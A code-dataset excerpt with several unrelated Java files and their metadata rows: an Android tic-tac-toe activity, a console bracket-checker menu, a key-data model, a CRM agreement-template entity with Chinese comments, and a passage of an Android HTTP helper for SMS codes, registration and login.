else if(count == 9){
draw();
}
else{
name = !name;
}
}
private boolean check() {
String[][] sum = new String[4][4];
for (int i = 1; i < 4; i++) {
for (int j = 1; j < 4; j++) {
sum[i][j] = btn[i][j].getText().toString();
}
}
for(int i=1;i<4;i++){
if(sum[i][1].equals(sum[i][2])
&& sum[i][1].equals(sum[i][3])
&&!sum[i][1].equals("")){
return true;
}
}
for(int i=1;i<4;i++){
if(sum[1][i].equals(sum[2][i])
&& sum[1][i].equals(sum[3][i])
&&!sum[1][i].equals("")){
return true;
}
}
return sum[1][1].equals(sum[2][2])
&& sum[1][1].equals(sum[3][3])
&& !sum[1][1].equals("") || sum[1][3].equals(sum[2][2])
&& sum[1][3].equals(sum[3][1])
&& !sum[1][3].equals("");
}
private void name1win(){
point1++;
Toast.makeText(getApplicationContext(), "Tom wins!!", Toast.LENGTH_SHORT).show();
update();
resetb();
}
private void name2win(){
point2++;
Toast.makeText(getApplicationContext(), "Adam wins!!", Toast.LENGTH_SHORT).show();
update();
resetb();
}
private void update(){
name1.setText("Tom: "+point1);
name2.setText("Adam: "+point2);
}
private void draw(){
Toast.makeText(getApplicationContext(), "Games draw!", Toast.LENGTH_SHORT).show();
resetb();
}
private void resetb(){
for(int i=1;i<4;i++){
for(int j=1;j<4;j++){
btn[i][j].setText("");
}
}
count =0;
name = !name;
}
private void resetAll(){
point1 = 0;
point2 = 0;
update();
resetb();
}
@Override
protected void onSaveInstanceState(Bundle outState) {
outState.putInt("point1",point1);
outState.putInt("point2",point2);
outState.putInt("count",count);
outState.putBoolean("name",name);
}
@Override
protected void onRestoreInstanceState(Bundle savedInstanceState) {
point1 = savedInstanceState.getInt("point1");
point2 = savedInstanceState.getInt("point2");
count = savedInstanceState.getInt("count");
name = savedInstanceState.getBoolean("name");
}
}
|
UTF-8
|
Java
| 4,339 |
java
|
MainActivity.java
|
Java
|
[
{
"context": "package com.example.shakil.tic_tac_toe;\n\nimport android.support.v7.app.AppCo",
"end": 26,
"score": 0.9521515369415283,
"start": 20,
"tag": "USERNAME",
"value": "shakil"
},
{
"context": "\n Toast.makeText(getApplicationContext(), \"Tom wins!!\", Toast.LENGTH_SHORT).show();\n upda",
"end": 2966,
"score": 0.9997054934501648,
"start": 2963,
"tag": "NAME",
"value": "Tom"
},
{
"context": "\n Toast.makeText(getApplicationContext(), \"Adam wins!!\", Toast.LENGTH_SHORT).show();\n upda",
"end": 3146,
"score": 0.9997658133506775,
"start": 3142,
"tag": "NAME",
"value": "Adam"
},
{
"context": " private void update(){\n name1.setText(\"Tom: \"+point1);\n name2.setText(\"Adam: \"+point2",
"end": 3280,
"score": 0.9997945427894592,
"start": 3277,
"tag": "NAME",
"value": "Tom"
},
{
"context": "1.setText(\"Tom: \"+point1);\n name2.setText(\"Adam: \"+point2);\n\n\n }\n\n private void draw(){\n ",
"end": 3320,
"score": 0.9998223781585693,
"start": 3316,
"tag": "NAME",
"value": "Adam"
}
] | null |
[] |
package com.example.shakil.tic_tac_toe;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;
public class MainActivity extends AppCompatActivity implements View.OnClickListener{
private TextView name1,name2;
private Button button;
private Button[][] btn = new Button[4][4];
private boolean name = true;
private int count;
private int point1;
private int point2;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
name1 = (TextView)findViewById(R.id.name1);
name2 = (TextView)findViewById(R.id.name2);
button = (Button)findViewById(R.id.button);
for(int i=1;i<4;i++){
for(int j=1;j<4;j++){
String btnid ="game_"+i+j;
int rid = getResources().getIdentifier(btnid, "id", getPackageName());
btn[i][j]=(Button) findViewById(rid);
btn[i][j].setOnClickListener(this);
}
}
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
resetAll();
}
});
}
@Override
public void onClick(View v) {
if(!((Button)v).getText().toString().equals("")){
return;
}
if(name){
((Button)v).setText("X");
}
else{
((Button)v).setText("O");
}
count++;
if(check()) {
if (name) {
name1win();
} else{
name2win();
}
}
else if(count == 9){
draw();
}
else{
name = !name;
}
}
private boolean check() {
String[][] sum = new String[4][4];
for (int i = 1; i < 4; i++) {
for (int j = 1; j < 4; j++) {
sum[i][j] = btn[i][j].getText().toString();
}
}
for(int i=1;i<4;i++){
if(sum[i][1].equals(sum[i][2])
&& sum[i][1].equals(sum[i][3])
&&!sum[i][1].equals("")){
return true;
}
}
for(int i=1;i<4;i++){
if(sum[1][i].equals(sum[2][i])
&& sum[1][i].equals(sum[3][i])
&&!sum[1][i].equals("")){
return true;
}
}
return sum[1][1].equals(sum[2][2])
&& sum[1][1].equals(sum[3][3])
&& !sum[1][1].equals("") || sum[1][3].equals(sum[2][2])
&& sum[1][3].equals(sum[3][1])
&& !sum[1][3].equals("");
}
private void name1win(){
point1++;
Toast.makeText(getApplicationContext(), "Tom wins!!", Toast.LENGTH_SHORT).show();
update();
resetb();
}
private void name2win(){
point2++;
Toast.makeText(getApplicationContext(), "Adam wins!!", Toast.LENGTH_SHORT).show();
update();
resetb();
}
private void update(){
name1.setText("Tom: "+point1);
name2.setText("Adam: "+point2);
}
private void draw(){
Toast.makeText(getApplicationContext(), "Games draw!", Toast.LENGTH_SHORT).show();
resetb();
}
private void resetb(){
for(int i=1;i<4;i++){
for(int j=1;j<4;j++){
btn[i][j].setText("");
}
}
count =0;
name = !name;
}
private void resetAll(){
point1 = 0;
point2 = 0;
update();
resetb();
}
@Override
protected void onSaveInstanceState(Bundle outState) {
outState.putInt("point1",point1);
outState.putInt("point2",point2);
outState.putInt("count",count);
outState.putBoolean("name",name);
}
@Override
protected void onRestoreInstanceState(Bundle savedInstanceState) {
point1 = savedInstanceState.getInt("point1");
point2 = savedInstanceState.getInt("point2");
count = savedInstanceState.getInt("count");
name = savedInstanceState.getBoolean("name");
}
}
| 4,339 | 0.495506 | 0.476377 | 178 | 23.376404 | 21.166512 | 90 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.539326 | false | false |
8
|
1ac2442e143d0e629f78c1634ec95120f8edd4fa
| 15,582,141,365,549 |
4bb401fbfc550014184f27090629f670f1a714fa
|
/project-module-1/src/main/java/ua/com/interfaces/LevelTwoUI.java
|
a901ad0588360116277b340f6077eb1fa849b33b
|
[] |
no_license
|
spikyzero/JavaNixFiveOffline
|
https://github.com/spikyzero/JavaNixFiveOffline
|
69b84d9f82d54bb1ee74965ea2d8ebdce2f26a53
|
caaaba7ce49c24e5cebeeb7c06c7f1f4c4f22bfd
|
refs/heads/main
| 2023-04-12T17:21:53.667000 | 2021-11-14T19:16:35 | 2021-11-14T19:16:35 | 359,764,077 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package ua.com.interfaces;
import lombok.SneakyThrows;
import ua.com.leveltwo.Brackets;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class LevelTwoUI {
private static final BufferedReader bufferedReader;
private static final String REGEX_NUMBER = "^[0-9]$";
static {
bufferedReader = new BufferedReader(new InputStreamReader(System.in));
}
public void cycle() {
message();
switch (number()) {
case 1: {
run();
break;
}
case 9: {
MainUI mainUI = new MainUI();
mainUI.cycle();
}
case 0: {
System.exit(0);
}
}
cycle();
}
@SneakyThrows
private void run() {
Brackets brackets;
String input;
if (userDecision()) {
System.out.print("Input which you want to check:");
input = bufferedReader.readLine();
if (input != null) {
brackets = new Brackets(input);
if (brackets.check()) {
System.out.println("True");
} else {
System.out.println("False");
}
}
} else {
brackets = new Brackets();
System.out.println("Automatically input:" + brackets.getString());
if (brackets.check()) {
System.out.println("True");
} else {
System.out.println("False");
}
}
}
private void message() {
System.out.println(
"Choose the program:\n" +
"1 - Is correctly string with brackets\n" +
"9 - Comeback to choose the level\n" +
"0 - Exit");
}
@SneakyThrows
private int number() {
String number;
do {
System.out.print("Number: ");
number = bufferedReader.readLine();
} while (!number.matches(REGEX_NUMBER));
return Integer.parseInt(number);
}
private boolean userDecision() {
boolean flag = false;
System.out.println("Choose method of input:\n" +
"1 - from the keyboard\n" +
"2 - automatically\n" +
"0 - exit");
switch (number()) {
case 1:
flag = true;
break;
case 2:
break;
default:
System.out.println("Invalid number");
userDecision();
break;
}
return flag;
}
}
|
UTF-8
|
Java
| 2,674 |
java
|
LevelTwoUI.java
|
Java
|
[] | null |
[] |
package ua.com.interfaces;
import lombok.SneakyThrows;
import ua.com.leveltwo.Brackets;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class LevelTwoUI {
private static final BufferedReader bufferedReader;
private static final String REGEX_NUMBER = "^[0-9]$";
static {
bufferedReader = new BufferedReader(new InputStreamReader(System.in));
}
public void cycle() {
message();
switch (number()) {
case 1: {
run();
break;
}
case 9: {
MainUI mainUI = new MainUI();
mainUI.cycle();
}
case 0: {
System.exit(0);
}
}
cycle();
}
@SneakyThrows
private void run() {
Brackets brackets;
String input;
if (userDecision()) {
System.out.print("Input which you want to check:");
input = bufferedReader.readLine();
if (input != null) {
brackets = new Brackets(input);
if (brackets.check()) {
System.out.println("True");
} else {
System.out.println("False");
}
}
} else {
brackets = new Brackets();
System.out.println("Automatically input:" + brackets.getString());
if (brackets.check()) {
System.out.println("True");
} else {
System.out.println("False");
}
}
}
private void message() {
System.out.println(
"Choose the program:\n" +
"1 - Is correctly string with brackets\n" +
"9 - Comeback to choose the level\n" +
"0 - Exit");
}
@SneakyThrows
private int number() {
String number;
do {
System.out.print("Number: ");
number = bufferedReader.readLine();
} while (!number.matches(REGEX_NUMBER));
return Integer.parseInt(number);
}
private boolean userDecision() {
boolean flag = false;
System.out.println("Choose method of input:\n" +
"1 - from the keyboard\n" +
"2 - automatically\n" +
"0 - exit");
switch (number()) {
case 1:
flag = true;
break;
case 2:
break;
default:
System.out.println("Invalid number");
userDecision();
break;
}
return flag;
}
}
| 2,674 | 0.463725 | 0.458489 | 99 | 26.020203 | 17.906593 | 78 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.414141 | false | false |
8
|
a5fc9261cbac35b5b331b84618f153da1fece09e
| 22,754,736,798,432 |
a61dd47eab2eb09e6c8372c06495f8dcc6c80fa6
|
/androidApp/app/src/main/java/com/groupq/sth/vintellig/model/manageLock/KeyData.java
|
49b05ad30cad3fcc700f4f7dc24e3b741c38c8f4
|
[] |
no_license
|
zjsth92/Vintellig
|
https://github.com/zjsth92/Vintellig
|
5a77225fd5f57254cef0893794b4065151fa0dda
|
e66d2738b4007f6ef891f5430973f86544c77073
|
refs/heads/master
| 2021-05-30T07:49:19.449000 | 2015-07-31T17:12:32 | 2015-07-31T17:12:32 | null | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.groupq.sth.vintellig.model.manageLock;
/**
* Created by sth on 6/16/15.
*/
public class KeyData {
private String ownerName, startTime, endTime;
public KeyData(String name, String start, String end){
this.ownerName = name;
this.startTime = start;
this.endTime = end;
}
public String getOwnerName(){
return this.ownerName;
}
public String getStartTime(){
return this.startTime;
}
public String getEndTime(){
return this.endTime;
}
}
|
UTF-8
|
Java
| 533 |
java
|
KeyData.java
|
Java
|
[
{
"context": "sth.vintellig.model.manageLock;\n\n/**\n * Created by sth on 6/16/15.\n */\npublic class KeyData {\n privat",
"end": 73,
"score": 0.9994698762893677,
"start": 70,
"tag": "USERNAME",
"value": "sth"
}
] | null |
[] |
package com.groupq.sth.vintellig.model.manageLock;
/**
* Created by sth on 6/16/15.
*/
public class KeyData {
private String ownerName, startTime, endTime;
public KeyData(String name, String start, String end){
this.ownerName = name;
this.startTime = start;
this.endTime = end;
}
public String getOwnerName(){
return this.ownerName;
}
public String getStartTime(){
return this.startTime;
}
public String getEndTime(){
return this.endTime;
}
}
| 533 | 0.628518 | 0.619137 | 25 | 20.32 | 17.54929 | 58 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.48 | false | false |
8
|
712b967b13799f1fa22649f8477954a6e8c69a6d
| 146,028,895,058 |
ca3bc4c8c68c15c961098c4efb2e593a800fe365
|
/TableToMyibatisUtf-8/file/com/neusoft/crm/api/cpc/prod/data/AgreeItemTmpDO.java
|
095ee78f88400ad35969a87c323a9f9744866a63
|
[] |
no_license
|
fansq-j/fansq-summary
|
https://github.com/fansq-j/fansq-summary
|
211b01f4602ceed077b38bb6d2b788fcd4f2c308
|
00e838843e6885135eeff1eb1ac95d0553fc36ea
|
refs/heads/master
| 2022-12-17T01:18:34.323000 | 2020-01-14T06:57:24 | 2020-01-14T06:57:24 | 214,321,994 | 0 | 0 | null | false | 2022-11-17T16:20:29 | 2019-10-11T02:02:23 | 2020-01-14T07:05:42 | 2022-11-17T16:20:25 | 19,867 | 0 | 1 | 36 |
Java
| false | false |
package com.neusoft.crm.api.cpc.prod.data;
import com.neusoft.crm.common.persistence.BaseDO;
import com.neusoft.crm.common.utils.SeqUtils;
/**
* @实体描述:描述协议模板的规格化条款以及相关的协议管理规则。协议条款模板分“业务条款”和“文本条款”两类,业务条款构成对象包括产品、
* @实体表 :AGREE_ITEM_TMP
*/
public class AgreeItemTmpDO extends BaseDO{
/**
*主键对应的序列名称
*/
public static final String ID_SEQ = "AGREE_ITEM_TMP_S";
/**
* 协议条款模板标识
*/
public java.lang.Long agreeItemTmpId;
/**
* 协议条款模板编码
*/
public java.lang.String agreeItemTmpNbr;
/**
* 协议条款模板名称
*/
public java.lang.String agreeItemTmpName;
/**
* 协议条款模版的类型,LOVB=ARG-C-0004
*/
public java.lang.String agreeItemTmpType;
/**
* 记录项描述
*/
public java.lang.String agreeItemTmpDesc;
/**
* 记录生效时间
*/
public java.util.Date effDate;
/**
* 记录失效时间
*/
public java.util.Date expDate;
/**
* 记录适用区域标识
*/
public java.lang.Long applyRegionId;
/**
* 记录管理区域标识
*/
public java.lang.Long manageRegionId;
/**
* 协议条款模板状态,LOVB=ARG-C-0005
*/
public java.lang.String statusCd;
/**
* 记录状态变更的时间
*/
public java.util.Date statusDate;
/**
* 记录首次创建的员工标识
*/
public java.lang.Long createStaff;
/**
* 记录首次创建的时间
*/
public java.util.Date createDate;
/**
* 记录每次修改的员工标识
*/
public java.lang.Long updateStaff;
/**
* 记录每次修改的时间
*/
public java.util.Date updateDate;
/**
* 设置 协议条款模板标识
*/
public void setAgreeItemTmpId(java.lang.Long agreeItemTmpId) {
this.agreeItemTmpId = agreeItemTmpId;
}
/**
* 获取 协议条款模板标识
*/
public java.lang.Long getAgreeItemTmpId() {
return this.agreeItemTmpId;
}
/**
* 设置主键,并返回主键ID
*/
public java.lang.Long doCreateId(){
this.agreeItemTmpId = SeqUtils.createLongId(ID_SEQ);
return this.agreeItemTmpId;
}
/**
* 静态方法-生成主键ID
*/
public static final java.lang.Long createId(){
return SeqUtils.createLongId(ID_SEQ);
}
/**
* 设置 协议条款模板编码
*/
public void setAgreeItemTmpNbr(java.lang.String agreeItemTmpNbr) {
this.agreeItemTmpNbr = agreeItemTmpNbr;
}
/**
* 获取 协议条款模板编码
*/
public java.lang.String getAgreeItemTmpNbr() {
return this.agreeItemTmpNbr;
}
/**
* 设置 协议条款模板名称
*/
public void setAgreeItemTmpName(java.lang.String agreeItemTmpName) {
this.agreeItemTmpName = agreeItemTmpName;
}
/**
* 获取 协议条款模板名称
*/
public java.lang.String getAgreeItemTmpName() {
return this.agreeItemTmpName;
}
/**
* 设置 协议条款模版的类型,LOVB=ARG-C-0004
*/
public void setAgreeItemTmpType(java.lang.String agreeItemTmpType) {
this.agreeItemTmpType = agreeItemTmpType;
}
/**
* 获取 协议条款模版的类型,LOVB=ARG-C-0004
*/
public java.lang.String getAgreeItemTmpType() {
return this.agreeItemTmpType;
}
/**
* 设置 记录项描述
*/
public void setAgreeItemTmpDesc(java.lang.String agreeItemTmpDesc) {
this.agreeItemTmpDesc = agreeItemTmpDesc;
}
/**
* 获取 记录项描述
*/
public java.lang.String getAgreeItemTmpDesc() {
return this.agreeItemTmpDesc;
}
/**
* 设置 记录生效时间
*/
public void setEffDate(java.util.Date effDate) {
this.effDate = effDate;
}
/**
* 获取 记录生效时间
*/
public java.util.Date getEffDate() {
return this.effDate;
}
/**
* 设置 记录失效时间
*/
public void setExpDate(java.util.Date expDate) {
this.expDate = expDate;
}
/**
* 获取 记录失效时间
*/
public java.util.Date getExpDate() {
return this.expDate;
}
/**
* 设置 记录适用区域标识
*/
public void setApplyRegionId(java.lang.Long applyRegionId) {
this.applyRegionId = applyRegionId;
}
/**
* 获取 记录适用区域标识
*/
public java.lang.Long getApplyRegionId() {
return this.applyRegionId;
}
/**
* 设置 记录管理区域标识
*/
public void setManageRegionId(java.lang.Long manageRegionId) {
this.manageRegionId = manageRegionId;
}
/**
* 获取 记录管理区域标识
*/
public java.lang.Long getManageRegionId() {
return this.manageRegionId;
}
/**
* 设置 协议条款模板状态,LOVB=ARG-C-0005
*/
public void setStatusCd(java.lang.String statusCd) {
this.statusCd = statusCd;
}
/**
* 获取 协议条款模板状态,LOVB=ARG-C-0005
*/
public java.lang.String getStatusCd() {
return this.statusCd;
}
/**
* 设置 记录状态变更的时间
*/
public void setStatusDate(java.util.Date statusDate) {
this.statusDate = statusDate;
}
/**
* 获取 记录状态变更的时间
*/
public java.util.Date getStatusDate() {
return this.statusDate;
}
/**
* 设置 记录首次创建的员工标识
*/
public void setCreateStaff(java.lang.Long createStaff) {
this.createStaff = createStaff;
}
/**
* 获取 记录首次创建的员工标识
*/
public java.lang.Long getCreateStaff() {
return this.createStaff;
}
/**
* 设置 记录首次创建的时间
*/
public void setCreateDate(java.util.Date createDate) {
this.createDate = createDate;
}
/**
* 获取 记录首次创建的时间
*/
public java.util.Date getCreateDate() {
return this.createDate;
}
/**
* 设置 记录每次修改的员工标识
*/
public void setUpdateStaff(java.lang.Long updateStaff) {
this.updateStaff = updateStaff;
}
/**
* 获取 记录每次修改的员工标识
*/
public java.lang.Long getUpdateStaff() {
return this.updateStaff;
}
/**
* 设置 记录每次修改的时间
*/
public void setUpdateDate(java.util.Date updateDate) {
this.updateDate = updateDate;
}
/**
* 获取 记录每次修改的时间
*/
public java.util.Date getUpdateDate() {
return this.updateDate;
}
}
|
UTF-8
|
Java
| 7,010 |
java
|
AgreeItemTmpDO.java
|
Java
|
[] | null |
[] |
package com.neusoft.crm.api.cpc.prod.data;
import com.neusoft.crm.common.persistence.BaseDO;
import com.neusoft.crm.common.utils.SeqUtils;
/**
* @实体描述:描述协议模板的规格化条款以及相关的协议管理规则。协议条款模板分“业务条款”和“文本条款”两类,业务条款构成对象包括产品、
* @实体表 :AGREE_ITEM_TMP
*/
public class AgreeItemTmpDO extends BaseDO{
/**
*主键对应的序列名称
*/
public static final String ID_SEQ = "AGREE_ITEM_TMP_S";
/**
* 协议条款模板标识
*/
public java.lang.Long agreeItemTmpId;
/**
* 协议条款模板编码
*/
public java.lang.String agreeItemTmpNbr;
/**
* 协议条款模板名称
*/
public java.lang.String agreeItemTmpName;
/**
* 协议条款模版的类型,LOVB=ARG-C-0004
*/
public java.lang.String agreeItemTmpType;
/**
* 记录项描述
*/
public java.lang.String agreeItemTmpDesc;
/**
* 记录生效时间
*/
public java.util.Date effDate;
/**
* 记录失效时间
*/
public java.util.Date expDate;
/**
* 记录适用区域标识
*/
public java.lang.Long applyRegionId;
/**
* 记录管理区域标识
*/
public java.lang.Long manageRegionId;
/**
* 协议条款模板状态,LOVB=ARG-C-0005
*/
public java.lang.String statusCd;
/**
* 记录状态变更的时间
*/
public java.util.Date statusDate;
/**
* 记录首次创建的员工标识
*/
public java.lang.Long createStaff;
/**
* 记录首次创建的时间
*/
public java.util.Date createDate;
/**
* 记录每次修改的员工标识
*/
public java.lang.Long updateStaff;
/**
* 记录每次修改的时间
*/
public java.util.Date updateDate;
/**
* 设置 协议条款模板标识
*/
public void setAgreeItemTmpId(java.lang.Long agreeItemTmpId) {
this.agreeItemTmpId = agreeItemTmpId;
}
/**
* 获取 协议条款模板标识
*/
public java.lang.Long getAgreeItemTmpId() {
return this.agreeItemTmpId;
}
/**
* 设置主键,并返回主键ID
*/
public java.lang.Long doCreateId(){
this.agreeItemTmpId = SeqUtils.createLongId(ID_SEQ);
return this.agreeItemTmpId;
}
/**
* 静态方法-生成主键ID
*/
public static final java.lang.Long createId(){
return SeqUtils.createLongId(ID_SEQ);
}
/**
* 设置 协议条款模板编码
*/
public void setAgreeItemTmpNbr(java.lang.String agreeItemTmpNbr) {
this.agreeItemTmpNbr = agreeItemTmpNbr;
}
/**
* 获取 协议条款模板编码
*/
public java.lang.String getAgreeItemTmpNbr() {
return this.agreeItemTmpNbr;
}
/**
* 设置 协议条款模板名称
*/
public void setAgreeItemTmpName(java.lang.String agreeItemTmpName) {
this.agreeItemTmpName = agreeItemTmpName;
}
/**
* 获取 协议条款模板名称
*/
public java.lang.String getAgreeItemTmpName() {
return this.agreeItemTmpName;
}
/**
* 设置 协议条款模版的类型,LOVB=ARG-C-0004
*/
public void setAgreeItemTmpType(java.lang.String agreeItemTmpType) {
this.agreeItemTmpType = agreeItemTmpType;
}
/**
* 获取 协议条款模版的类型,LOVB=ARG-C-0004
*/
public java.lang.String getAgreeItemTmpType() {
return this.agreeItemTmpType;
}
/**
* 设置 记录项描述
*/
public void setAgreeItemTmpDesc(java.lang.String agreeItemTmpDesc) {
this.agreeItemTmpDesc = agreeItemTmpDesc;
}
/**
* 获取 记录项描述
*/
public java.lang.String getAgreeItemTmpDesc() {
return this.agreeItemTmpDesc;
}
/**
* 设置 记录生效时间
*/
public void setEffDate(java.util.Date effDate) {
this.effDate = effDate;
}
/**
* 获取 记录生效时间
*/
public java.util.Date getEffDate() {
return this.effDate;
}
/**
* 设置 记录失效时间
*/
public void setExpDate(java.util.Date expDate) {
this.expDate = expDate;
}
/**
* 获取 记录失效时间
*/
public java.util.Date getExpDate() {
return this.expDate;
}
/**
* 设置 记录适用区域标识
*/
public void setApplyRegionId(java.lang.Long applyRegionId) {
this.applyRegionId = applyRegionId;
}
/**
* 获取 记录适用区域标识
*/
public java.lang.Long getApplyRegionId() {
return this.applyRegionId;
}
/**
* 设置 记录管理区域标识
*/
public void setManageRegionId(java.lang.Long manageRegionId) {
this.manageRegionId = manageRegionId;
}
/**
* 获取 记录管理区域标识
*/
public java.lang.Long getManageRegionId() {
return this.manageRegionId;
}
/**
* 设置 协议条款模板状态,LOVB=ARG-C-0005
*/
public void setStatusCd(java.lang.String statusCd) {
this.statusCd = statusCd;
}
/**
* 获取 协议条款模板状态,LOVB=ARG-C-0005
*/
public java.lang.String getStatusCd() {
return this.statusCd;
}
/**
* 设置 记录状态变更的时间
*/
public void setStatusDate(java.util.Date statusDate) {
this.statusDate = statusDate;
}
/**
* 获取 记录状态变更的时间
*/
public java.util.Date getStatusDate() {
return this.statusDate;
}
/**
* 设置 记录首次创建的员工标识
*/
public void setCreateStaff(java.lang.Long createStaff) {
this.createStaff = createStaff;
}
/**
* 获取 记录首次创建的员工标识
*/
public java.lang.Long getCreateStaff() {
return this.createStaff;
}
/**
* 设置 记录首次创建的时间
*/
public void setCreateDate(java.util.Date createDate) {
this.createDate = createDate;
}
/**
* 获取 记录首次创建的时间
*/
public java.util.Date getCreateDate() {
return this.createDate;
}
/**
* 设置 记录每次修改的员工标识
*/
public void setUpdateStaff(java.lang.Long updateStaff) {
this.updateStaff = updateStaff;
}
/**
* 获取 记录每次修改的员工标识
*/
public java.lang.Long getUpdateStaff() {
return this.updateStaff;
}
/**
* 设置 记录每次修改的时间
*/
public void setUpdateDate(java.util.Date updateDate) {
this.updateDate = updateDate;
}
/**
* 获取 记录每次修改的时间
*/
public java.util.Date getUpdateDate() {
return this.updateDate;
}
}
| 7,010 | 0.571884 | 0.567854 | 318 | 17.72327 | 18.48777 | 72 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.169811 | false | false |
8
|
019cc311792ac69e51d0f2a04642149e68a372f6
| 893,353,222,608 |
179777bd4755a8546517edad4db307c119cf2c16
|
/Manager/library/src/main/java/com/seven/library/http/RequestUtils.java
|
effcaf8388e17bcd1da6ff5aa244c09de322616a
|
[] |
no_license
|
sevenCL/fitment-manager
|
https://github.com/sevenCL/fitment-manager
|
6ce7af116c4ccfd9183a43169d28d65c88932a6d
|
9c3a4cda1fe35d3fd5617884627a1c0ff1172807
|
refs/heads/master
| 2021-01-20T09:06:26.364000 | 2017-07-03T09:08:16 | 2017-07-03T09:08:16 | 90,217,095 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.seven.library.http;
import com.seven.library.R;
import com.seven.library.application.LibApplication;
import com.seven.library.callback.HttpRequestCallBack;
import com.seven.library.task.ActivityStack;
import com.seven.library.ui.dialog.NetWorkDialog;
import com.seven.library.ui.dialog.RequestLoading;
import com.seven.library.utils.LogUtils;
import com.seven.library.utils.NetWorkUtils;
import com.seven.library.utils.ToastUtils;
import org.json.JSONException;
import org.json.JSONObject;
import org.xutils.common.Callback;
import org.xutils.http.RequestParams;
import org.xutils.x;
import java.io.File;
import java.util.List;
/**
* 网络请求
*
* @author seven
*/
public class RequestUtils {
private static final String TAG = "RequestUtils";
private static RequestUtils requestUtils;
private static NetWorkDialog netWorkDialog;
private RequestLoading loadingDialog;
public static String uri;
private RequestUtils() {
}
public static RequestUtils getInstance(String url) {
uri = url;
if (LibApplication.type == 1) {
uri = url.replace("dev", "test");
}
if (requestUtils == null) {
synchronized (RequestUtils.class) {
requestUtils = new RequestUtils();
}
}
if (!NetWorkUtils.getInstance().isNetWorkConnected()) {
if (netWorkDialog == null || !netWorkDialog.isShowing()) {
netWorkDialog = new NetWorkDialog(ActivityStack.getInstance().peekActivity(), R.style.Dialog, null);
netWorkDialog.show();
return null;
}
}
return requestUtils;
}
/**
* 等待加载框
*/
private void showDialog() {
if (loadingDialog != null && !loadingDialog.isShowing())
loadingDialog.cancel();
loadingDialog = new RequestLoading(ActivityStack.getInstance().peekActivity(), R.style.Dialog, null);
loadingDialog.show();
}
/**
* @param params
* @param requestId
* @param callBack
*/
private void post(RequestParams params, final int requestId, final HttpRequestCallBack callBack) {
LogUtils.println(" token " + LibApplication.token);
params.setHeader("token", LibApplication.token);
x.http().post(params, new Callback.CommonCallback<String>() {
@Override
public void onSuccess(String result) {
if (loadingDialog != null)
loadingDialog.cancel();
try {
JSONObject jsonObject = new JSONObject(result);
int status = jsonObject.getInt("status");
int code = jsonObject.getInt("code");
String msg = jsonObject.getString("msg");
if (status == 0 && code == 2) {
ToastUtils.getInstance().showToast(msg);
LibApplication.getInstance().login();
return;
}
} catch (JSONException e) {
LogUtils.println(TAG + e);
}
callBack.onSucceed(result, requestId);
}
@Override
public void onError(Throwable ex, boolean isOnCallback) {
if (loadingDialog != null)
loadingDialog.dismiss();
callBack.onFailure(ex.getMessage(), requestId);
}
@Override
public void onCancelled(CancelledException cex) {
if (loadingDialog != null)
loadingDialog.dismiss();
LogUtils.println(TAG + " onCancelled ");
}
@Override
public void onFinished() {
if (loadingDialog != null)
loadingDialog.dismiss();
}
});
}
/**
* 上传文件
*
* @param requestId
* @param type
* @param callBack
*/
public void upload(final int requestId, List<String> list, int type, final HttpRequestCallBack callBack) {
RequestParams params = new RequestParams(uri);
params.addBodyParameter("type", String.valueOf(type));
for (String path : list)
params.addBodyParameter("fileData", new File(path));
params.setHeader("token", LibApplication.token);
params.setConnectTimeout(60000);
x.http().post(params, new Callback.ProgressCallback<String>() {
@Override
public void onSuccess(String result) {
try {
JSONObject jsonObject = new JSONObject(result);
int status = jsonObject.getInt("status");
int code = jsonObject.getInt("code");
String msg = jsonObject.getString("msg");
if (status == 0 && code == 2) {
ToastUtils.getInstance().showToast(msg);
LibApplication.getInstance().login();
return;
}
} catch (JSONException e) {
LogUtils.println(TAG + e);
}
callBack.onSucceed(result, requestId);
}
@Override
public void onError(Throwable throwable, boolean b) {
callBack.onFailure(throwable.getMessage(), requestId);
}
@Override
public void onCancelled(CancelledException e) {
}
@Override
public void onFinished() {
}
@Override
public void onWaiting() {
}
@Override
public void onStarted() {
}
@Override
public void onLoading(long l, long l1, boolean b) {
callBack.onProgress(l1, requestId);
}
});
}
/**
* 短信验证码
*
* @param requestId
* @param mobile
* @param flow
* @param callBack
*/
public void sms(final int requestId, String mobile, String flow, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("mobile", mobile);
params.addBodyParameter("flow", flow);
post(params, requestId, callBack);
}
/**
* 验证码验证
*
* @param requestId
* @param mobile
* @param code
* @param flow
* @param callBack
*/
public void smsCheck(final int requestId, String mobile, String code, String flow, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("mobile", mobile);
params.addBodyParameter("code", code);
params.addBodyParameter("flow", flow);
post(params, requestId, callBack);
}
/**
* 注册
*
* @param requestId
* @param mobile
* @param password
* @param cityId
* @param callBack
*/
public void register(int requestId, String mobile, String password, long cityId, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("mobile", mobile);
params.addBodyParameter("password", password);
params.addBodyParameter("serviceCity", String.valueOf(cityId));
post(params, requestId, callBack);
}
/**
* 忘记密码
*
* @param requestId
* @param mobile
* @param password
* @param callBack
*/
public void passwordForget(int requestId, String mobile, String password, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("mobile", mobile);
params.addBodyParameter("password", password);
post(params, requestId, callBack);
}
/**
* 登录
*
* @param requestId
* @param mobile
* @param password
* @param callBack
*/
public void login(int requestId, String mobile, String password, HttpRequestCallBack callBack) {
showDialog();
RequestParams params = new RequestParams(uri);
params.addBodyParameter("mobile", mobile);
params.addBodyParameter("password", password);
post(params, requestId, callBack);
}
/**
* 免登录
*
* @param requestId
